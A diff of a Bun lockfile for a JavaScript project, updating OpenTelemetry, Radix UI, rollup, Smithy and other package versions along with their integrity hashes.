"@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA=="],
- "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+ "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="],
"@opentelemetry/otlp-grpc-exporter-base": ["@opentelemetry/otlp-grpc-exporter-base@0.207.0", "", { "dependencies": { "@grpc/grpc-js": "^1.7.1", "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-eKFjKNdsPed4q9yYqeI5gBTLjXxDM/8jwhiC0icw3zKxHVGBySoDsed5J5q/PGY/3quzenTr3FiTxA3NiNT+nw=="],
- "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+ "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="],
"@opentelemetry/propagator-b3": ["@opentelemetry/propagator-b3@2.2.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-9CrbTLFi5Ee4uepxg2qlpQIozoJuoAZU5sKMx0Mn7Oh+p7UrgCiEV6C02FOxxdYVRRFQVCinYR8Kf6eMSQsIsw=="],
@@ -1547,7 +1657,7 @@
"@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.2", "@radix-ui/react-collapsible": "1.1.11", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-l3W5D54emV2ues7jjeG1xcyN7S3jnK3zE2zHqgn0CmMsy9lNJwmgcrmaxS+7ipw15FAivzKNzH3d5EcGoFKw0A=="],
- "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="],
+ "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0MtxV53FaEEBOKRgyLnEqHZKKDS5BldQ9oUBsKVXWI5FHbl2jp35qs+0aJET+K5hJDsc40kQUzP7g+wC7tqrqA=="],
"@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA=="],
@@ -1561,17 +1671,17 @@
"@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="],
- "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="],
+ "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dismissable-layer": "1.0.2", "@radix-ui/react-focus-guards": "1.0.0", "@radix-ui/react-focus-scope": "1.0.1", "@radix-ui/react-id": "1.0.0", "@radix-ui/react-portal": "1.0.1", "@radix-ui/react-presence": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1", "@radix-ui/react-use-controllable-state": "1.0.0", "aria-hidden": "^1.1.1", "react-remove-scroll": "2.5.5" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-EKxxp2WNSmUPkx4trtWNmZ4/vAYEg7JkAfa1HKBUnaubw9eHzf1Orr9B472lJYaYz327RHDrd4R95fsw7VR8DA=="],
"@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="],
- "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="],
+ "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0", "@radix-ui/react-use-escape-keydown": "1.0.2" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-WjJzMrTWROozDqLB0uRWYvj4UuXsM/2L19EmQ3Au+IJWqwvwq9Bwd+P8ivo0Deg9JDPArR1I6MbWNi1CmXsskg=="],
"@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.1", "", { "dependencies": { "@radix-ui/primitive": "1.1.0", "@radix-ui/react-compose-refs": "1.1.0", "@radix-ui/react-context": "1.1.0", "@radix-ui/react-id": "1.1.0", "@radix-ui/react-menu": "2.1.1", "@radix-ui/react-primitive": "2.0.0", "@radix-ui/react-use-controllable-state": "1.1.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-y8E+x9fBq9qvteD2Zwa4397pUVhYsh9iq44b5RD5qu1GMJWBCBuVg1hMyItbc6+zH00TxGRqd9Iot4wzf3OoBQ=="],
- "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="],
+ "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UagjDk4ijOAnGu4WMUPj9ahi7/zJJqNZ9ZAiGPp7waUWJO0O1aWXi/udPphI0IUjvrhBsZJGSN66dR2dsueLWQ=="],
- "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
+ "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Ej2MQTit8IWJiS2uuujGUmxXjF/y5xZptIIQnyd2JHLwtV0R2j9NRVoRj/1j/gJ7e3REdaBw4Hjf4a1ImhkZcQ=="],
"@radix-ui/react-hover-card": ["@radix-ui/react-hover-card@1.0.7", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.1", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-dismissable-layer": "1.0.5", "@radix-ui/react-popper": "1.1.3", "@radix-ui/react-portal": "1.0.4", "@radix-ui/react-presence": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-controllable-state": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-OcUN2FU0YpmajD/qkph3XzMcK/NmSk9hGWnjV68p6QiZMgILugusgQwnLSDs3oFSJYGKf3Y49zgFedhGh04k9A=="],
@@ -1587,7 +1697,7 @@
"@radix-ui/react-popper": ["@radix-ui/react-popper@1.1.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.0.3", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-callback-ref": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1", "@radix-ui/react-use-rect": "1.0.1", "@radix-ui/react-use-size": "1.0.1", "@radix-ui/rect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w=="],
- "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
+ "@radix-ui/react-portal": ["@radix-ui/react-portal@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-NY2vUWI5WENgAT1nfC6JS7RU5xRYBfjZVLq0HmgEN1Ezy3rk/UruMV4+Rd0F40PEaFC5SrLS1ixYvcYIQrb4Ig=="],
"@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg=="],
@@ -1619,7 +1729,7 @@
"@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="],
- "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
+ "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-DXGim3x74WgUv+iMNCF+cAo8xUHHeqvjx8zs7trKf+FkQKPQXLk2sX7Gx1ysH7Q76xCpZuxIJE7HLPxRE+Q+GA=="],
"@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="],
@@ -1673,7 +1783,7 @@
"@redis/client": ["@redis/client@1.6.0", "", { "dependencies": { "cluster-key-slot": "1.1.2", "generic-pool": "3.9.0", "yallist": "4.0.0" } }, "sha512-aR0uffYI700OEEH4gYnitAnv3vzVGXCFvYfdpu/CJKvk4pHfLPEy/JSZyrpQ+15WhXe1yJRXLtfQ84s4mEXnPg=="],
- "@remix-run/router": ["@remix-run/router@1.15.0", "", {}, "sha512-HOil5aFtme37dVQTB6M34G95kPM3MMuqSmIRVCC52eKV+Y/tGSqw9P3rWhlAx6A+mz+MoX+XxsGsNJbaI5qCgQ=="],
+ "@remix-run/router": ["@remix-run/router@1.23.2", "", {}, "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w=="],
"@remote-dom/core": ["@remote-dom/core@1.9.0", "", { "dependencies": { "@remote-dom/polyfill": "^1.4.4", "htm": "^3.1.1" }, "peerDependencies": { "@preact/signals-core": "^1.3.0" } }, "sha512-h8OO2NRns2paXO/q5hkfXrwlZKq7oKj9XedGosi7J8OP3+aW7N2Gv4MBBVVQGCfOiZPkOj5m3sQH7FdyUWl7PQ=="],
@@ -1681,6 +1791,8 @@
"@remote-dom/react": ["@remote-dom/react@1.2.2", "", { "dependencies": { "@remote-dom/core": "^1.7.0", "@types/react": "^18.0.0", "htm": "^3.1.1" }, "peerDependencies": { "react": "^17.0.0 || ^18.0.0" } }, "sha512-PkvioODONTr1M0StGDYsR4Ssf5M0Rd4+IlWVvVoK3Zrw8nr7+5mJkgNofaj/z7i8Aep78L28PCW8/WduUt4unA=="],
+ "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.3", "", {}, "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q=="],
+
"@rollup/plugin-alias": ["@rollup/plugin-alias@5.1.0", "", { "dependencies": { "slash": "^4.0.0" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" } }, "sha512-lpA3RZ9PdIG7qqhEfv79tBffNaoDuukFDrmhLqg9ifv99u/ehn+lOg30x2zmhf8AQqQUZaMk/B9fZraQ6/acDQ=="],
"@rollup/plugin-babel": ["@rollup/plugin-babel@5.3.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.10.4", "@rollup/pluginutils": "^3.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0", "@types/babel__core": "^7.1.9", "rollup": "^1.20.0||^2.0.0" } }, "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q=="],
@@ -1721,10 +1833,18 @@
"@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ=="],
+ "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg=="],
+
+ "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q=="],
+
"@rollup/rollup-linux-loongarch64-gnu": ["@rollup/rollup-linux-loongarch64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA=="],
"@rollup/rollup-linux-powerpc64le-gnu": ["@rollup/rollup-linux-powerpc64le-gnu@4.37.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ=="],
+ "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA=="],
+
+ "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA=="],
+
"@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw=="],
"@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA=="],
@@ -1735,121 +1855,129 @@
"@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.37.0", "", { "os": "linux", "cpu": "x64" }, "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w=="],
+ "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.59.0", "", { "os": "openbsd", "cpu": "x64" }, "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ=="],
+
+ "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.59.0", "", { "os": "none", "cpu": "arm64" }, "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA=="],
+
"@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.37.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg=="],
"@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.37.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA=="],
+ "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA=="],
+
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.37.0", "", { "os": "win32", "cpu": "x64" }, "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA=="],
"@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="],
+ "@scarf/scarf": ["@scarf/scarf@1.4.0", "", {}, "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ=="],
+
"@sinclair/typebox": ["@sinclair/typebox@0.34.41", "", {}, "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g=="],
"@sinonjs/commons": ["@sinonjs/commons@3.0.1", "", { "dependencies": { "type-detect": "4.0.8" } }, "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ=="],
- "@sinonjs/fake-timers": ["@sinonjs/fake-timers@10.3.0", "", { "dependencies": { "@sinonjs/commons": "^3.0.0" } }, "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA=="],
+ "@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
- "@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="],
+ "@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
